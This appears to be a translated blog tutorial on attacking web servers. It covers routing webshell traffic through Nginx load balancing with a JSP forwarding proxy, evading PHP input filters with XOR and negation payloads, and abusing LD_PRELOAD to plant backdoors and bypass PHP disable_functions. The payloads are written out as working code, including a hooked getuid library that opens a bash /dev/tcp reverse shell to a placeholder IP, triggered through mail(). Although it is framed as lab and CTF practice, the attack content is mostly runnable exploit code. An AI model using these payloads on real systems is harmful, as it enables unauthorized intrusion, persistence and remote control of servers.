Webshell connection and filtering bypass and LD_PROLOAD utilization under Nginx load balancing

Table of contents

1. Webshell connection under Nginx load balancing

1. Environment construction and webshell connection

2. Problems that arise

3. Solutions

2. Webshell filtering bypass

1. XOR operation bypass

​2. The negation operation is bypassed

3. PHP syntax bypass

Three, the use of LD_PRELOAD

1. Getting to know LD_PRELOAD first

2. Use LD_PRELOAD

2.1. Make linux backdoor

2.2. Bypassing PHPdisable_function


1. Webshell connection under Nginx load balancing

1. Environment construction and webshell connection

Here use docker to build the environment, unzip it into the /root/AntSword-Labs-master/loadbalance/loadbalance-jsp directory, and directly docker-compose up -d

Link: https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza 
Extraction code: 3pza

Then Ant Sword connects directly

Because both servers have ant.jsp, there will be no problem with the connection

After successfully entering the terminal, you can see that every time we execute the hostname -i command, the output will be different. That is because the Nginx load balancing agent is erratic, and it is agented to node1 for a while, and node2 for a while.

 Then there is a problem

2. Problems that arise

1. When we execute the command, we have no way of knowing which machine the next request will be handed over to execute, which is what is shown in the above figure.

2. When we upload the tool, because the tool may be large, it will be transmitted in pieces, so how do we know that these data packets will definitely be uploaded to the same server, that is to say, your tool may be divided into two halves, half on one server and the other half on the other

For example, the file I uploaded here is 1M, but when you refresh, the file is divided into two halves

3. Since the target machine cannot go out to the Internet, if you want to go further, you can only use HTTP Tunnel such as reGeorg/HTTPAbs, but in this scenario, all these tunnel scripts fail.

Since I haven't learned the content of this piece, I will briefly talk about it.

When we take down the target server, because the target server is not connected to the Internet, if we want to go to the intranet, we can only use the target server as a proxy, establish a tunnel, and let us proxy to the intranet, but due to Nginx load balancing, the data transmission is halfway may be transferred to another server

How to solve these problems?

3. Solutions

1. Shut down the redundant servers

This solution is theoretically feasible. Turn off the redundant servers and keep only one server. If Nginx cannot detect the heartbeat packet, it will naturally regard other servers as down, so there will be no problem.

But this solution is deadly in the real environment. Turning off the server is a serious security incident, so pass directly

In the experimental environment, if the permissions are sufficient, you can try it

2. Use the shell script to judge whether to execute the command before executing it

The shell script is as follows

#!/bin/bash
MYIP=`hostname -i`
if [ $MYIP == "172.23.0.2" ];then
    echo "Node1. I will exec command.\n=========\n"
    hostname -i
else
    echo "Other. Try again."
fi

Due to the small content and small file size, it can be uploaded directly through Ant Sword, and will not be transferred in pieces

It can be seen that if the ip address is 172.23.0.3, the command will not be executed and Try again will be returned

Conversely, if the ip address is 172.23.0.4, execute the command and output the result of hostname -i

However, this method only solves the first problem --- I don't know which server will execute our command

But the most important second and third problems have not been solved, we still can't upload our tools, and can't determine the direction of the data package

3. Use redundant servers to forward traffic at the web level 

Here we can send the traffic data packet sent to 172.23.0.3 to the server we want, which is 172.23.0.2, because the two web servers can access each other

 Pass in such a script on each server to forward the traffic to a server, pay attention to modify the ip to the server ip you want

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.23.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

 Then don't use Ant Sword to pass in directly at this time, because the amount of data is large, it may be fragmented

We'd better create a new file named antproxy.jsp, and create it a few more times, because other servers may not be created successfully, so refresh it a few times

Then copy our script, save it a few more times, and refresh

until it is 3.22kb

At this time, we edit the connection again and change it to antproxy.jsp

At this time, there will be a problem that there is no connection password in the script, so how can you fill in the password ant?

Is it because the script is finally forwarded or forwarded on ant.jsp, you can see the specific ip above, and the password of ant.jsp is ant

After the connection is successful, we enter the command line

It can be seen that the previous situation has not occurred, the IP address has always been 172.23.0.2, and there will be no more erratic phenomena 

 

2. Webshell filtering bypass

1. XOR operation bypass

First look at a piece of code

<?php
    echo "A"^"`";//结果为"!"
?>

Many people will wonder why "!"

The reason why such a result is obtained is that the character "A" and the character "`" are XORed in the code.

In PHP, when two variables are XORed, the string is first converted to an ASCII value, then the ASCII value is converted to binary, and then the XOR is performed. After the XOR is completed, the result is converted from binary to ASCII value, and then Convert an ASCII value to a string. The XOR operation is also sometimes used to swap the values ​​of two variables.

Like the example above

The ASCII value of A is 65, and the corresponding binary value is 0100 0001

`The ASCII value is 96, the corresponding binary value is 0110 0000

In PHP, the XOR operation is when two binary numbers are the same, the XOR is 0, and the difference is 1

Simply put, if one and only one is true, return true

The binary value of XOR is 00100001, the corresponding ASCII value is 33, and the corresponding string value is "!"

Look at the following code again, a typical XOR operation bypass

In PHP, variable names can start with an underscore, so $_ represents a variable named _

<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

So let's do a question now

This question requires us to execute the getFlag function, pass parameters through GET, and filter the code parameters by letter case and number

This problem can be bypassed by XOR operation

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
<?php
function getFlag(){
    echo "{bypass successfully!}";
}
?>

The payload is as follows

?code=$_="`{ { {"^"?<>/";${$_}[_]();&_=getFlag

The result of "`{ { {"^"?<>/" is "_GET", so ${$_}[_]()=$_GET[_](), and at this time _=getFlag

So directly execute getFlag() and get the flag

2. Negative operation bypass

First look at a piece of code

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

The result after running is as follows 

It can be seen that this negation~ can help us bypass

Then the above problem can also use this solution

payload

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

%98%9A%8B%B9%93%9E%98 This string of strings is first decoded by urldecode and then handed over to the backend for processing

The negation symbol converts the url-decoded string into getFlag, assigns it to $_, and then executes it to get the flag

3. PHP syntax bypass

Still look at a piece of code first

<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

PHP follows Perl's conventions, not C's, when dealing with arithmetic operations on character variables. For example, in Perl $a = 'Z'; $a++; will turn $a into 'AA', while in C a = 'Z'; a++; will turn a into '['('Z' has an ASCII value of 90 and '[' has an ASCII value of 91). Note that character variables can only be incremented, not decremented, and only pure letters (az and AZ) are supported. Incrementing/decrementing other character variables is invalid, and the original string remains unchanged.

That is to say, 'a'++ => 'b', 'b'++ => 'c'... Therefore, as long as we can get a variable whose value is a, we can obtain it through the self-increment operation All characters in az.

So, how do you get a variable whose value is the string 'a'?

Coincidentally, the first letter of the array (Array) is a capital A, and the fourth letter is a lowercase a. In other words, we can get lowercase and uppercase A at the same time, which means we can get all the letters of az and AZ.

In PHP, if you forcibly concatenate an array and a string, the array will be converted to a string whose value is Array

<?php
echo ''.[];
?>

 Then we output the 0th element, which is A

<?php
$_=''.[];
echo $_[0];  //A
?>

Three, the use of LD_PRELOAD

1. Getting to know LD_PRELOAD first

LD_PRELOADIt is Linux/Unixan environment variable of the system, which affects the runtime link of the program (Runtime linker), which allows the definition of the dynamic link library that is loaded first before the program runs. This function is mainly used to selectively load the same function in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries between the main program and its dynamic link library, and even cover the normal function library.

We can rewrite the function called during the running of the program and compile it into a dynamic link library file, and then let the program load the malicious dynamic link library here first through our control of the environment variables, so as to realize our dynamic link library Malicious functions written in .

2. Use LD_PRELOAD

First, let's test the feasibility of this plan internally

Assume this is a normal compiled file named whoami.c

This code implements the judgment of a name array

Compile with gcc -o whoami whoami.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

At this time, let's hijack the srtcmp function and name it hook_strcmp.c

make this function always false regardless of

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

Compile the function we wrote into a dynamic link library file

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

Then import it into the environment variable

export LD_PRELOAD=$PWD/hook_strcmp.so 

Execute whoami.c normally before the function is hijacked 

Execute whoami.c after being hijacked

Obviously at this point we have hijacked the strcmp function

2.1. Make linux backdoor

In this way, we can use system commands to load the backdoor, because in the operating system, commands under the command line are actually driven by a series of dynamic link libraries

Since they all use the dynamic link library, if we use LD_PRELOAD to replace the dynamic link library that the system command will call, then we can use the system command to call the dynamic link library to realize the malicious code in the malicious dynamic link library we wrote in LD_PRELOAD the implementation of

In linux, we can use readelf -Wscommands to view, and the storage path of system commands is/uer/bin

readelf -Ws /usr/bin   See what dynamic link libraries are available

Here we choose a link library that is more convenient to operate, and selectstrncmp@GLIBC_2.2.5

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

The same gcc compiles, and then imports it into the environment variable

gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
export LD_PRELOAD=$PWD/hook_strncmp.so

Then execute ls and find that the id is printed, successfully hijacking the function

Since the id can be executed, the command of the reverse shell can be executed, and no demonstration will be given here 

2.2. Bypassing PHPdisable_function

Go directly to the directory and run the docker environment

root@localhost:~/antsword/bypass_disable_functions/1# docker-compose up -d

Build the Houant Sword connection

 Create a new file and write it to phpinfo(), (if it shows that the new creation fails, enter the docker container)

Execute the following code

chown -R www-data:www-data /var/www/
chmod +x /start.sh

After the new creation is successful, find disable_function, and find that basically the functions that execute commands are prohibited

At this time, LD_PRELOAD can be used to bypass

To bypass disable_function, we need php to start a new process, such as mail, error_log and other functions

Here we use the sendmail function to internally try

CentOS has this function by default, but Ubuntu may not, it needs apt installation

Then readelf -Ws /usr/sbin/sendmail in the same way, choose a simple and easy to override function getuid

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

Note here remember to change to the ip you want to bounce 

Then, as in the above steps, gcc compiles  

After compiling, we can use the putenv function to realize the setting of the link library. The file name is sendmail.php

Since this is an experimental environment, set the environment variables directly in the root home directory 

<?php
putenv('LD_PRELOAD=/root/hook_getuid.so');
mail("a@localhost","","","","");
?>

First monitor nc on the rebound machine, and then run php sendmail.php directly

Successfully rebound the shell

The error_log function can also achieve this effect, but its essence is still sendmail, so I won’t repeat it here

We can find that the above situation actually leads to a very narrow attack surface. In actual situations, it is easy for us to have sendmail not installed, just like when I started testing www- It is impossible to change the php.ini configuration, install sendmail software, etc. with data permissions. So is there any other way?

hijack system new process

Imagine such a way of thinking: use the vulnerability to control the web to start a new process a.bin (even if the process name cannot be specified by me), a.bin internally calls the system function b(), b() is located in the system shared object c.so, So the system loads a total of c.so for this process. I think that the controllable c_evil.so should be loaded first before c.so. c_evil.so contains a malicious function with the same name as b(). Since c_evil.so has a higher priority, Therefore, a.bin will call b() in c_evil.so instead of b() in c.so of the system. At the same time, c_evil.so is controllable to achieve the purpose of executing malicious code. Based on this idea, the goal of executing operating system commands that breaks through the limit of disable_functions is roughly broken down into several steps for local deduction: view the process call system function details, hijack system function injection codes in the operating system environment, and find the internal PHP that starts a new process Function, PHP environment hijack system function injection code.

The system preloads the shared object through LD_PRELOAD. If a way can be found to execute the code when loading without considering hijacking a system function, then it is completely independent of sendmail.

There is an extension modifier of C language in GCC __attribute__((constructor)), this modifier can make the function modified by it execute before main(), if it appears in our dynamic link library, then once our dynamic link library file is deleted by the system Loading will execute __attribute__((constructor))the decorated function immediately.

We no longer hijack functions, but directly hijack functions that load dynamic link libraries, so any system commands that need to load dynamic link libraries will execute our backdoor after success

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("id");
}

Same as above, gcc compiles, then imports environment variables

You can see that both ls and whoami have executed the id command

We can use the Ant Sword plugin to bypass disable_function

The specific installation steps can be found in the blogger's blog

Windows, linux ant sword download and installation and manual installation plug-in disable_functions_Ant sword download plug-in disable function_Sk1y's blog-CSDN blog 

Select LD_PRELOAD, click start 

 

Then edit the connection and change it to .antproxy.php, which is the script automatically generated by Ant Sword 

 

 Execute the command again and find that the execution is successful

 

 

Guess you like

Origin blog.csdn.net/CQ17743254852/article/details/132262205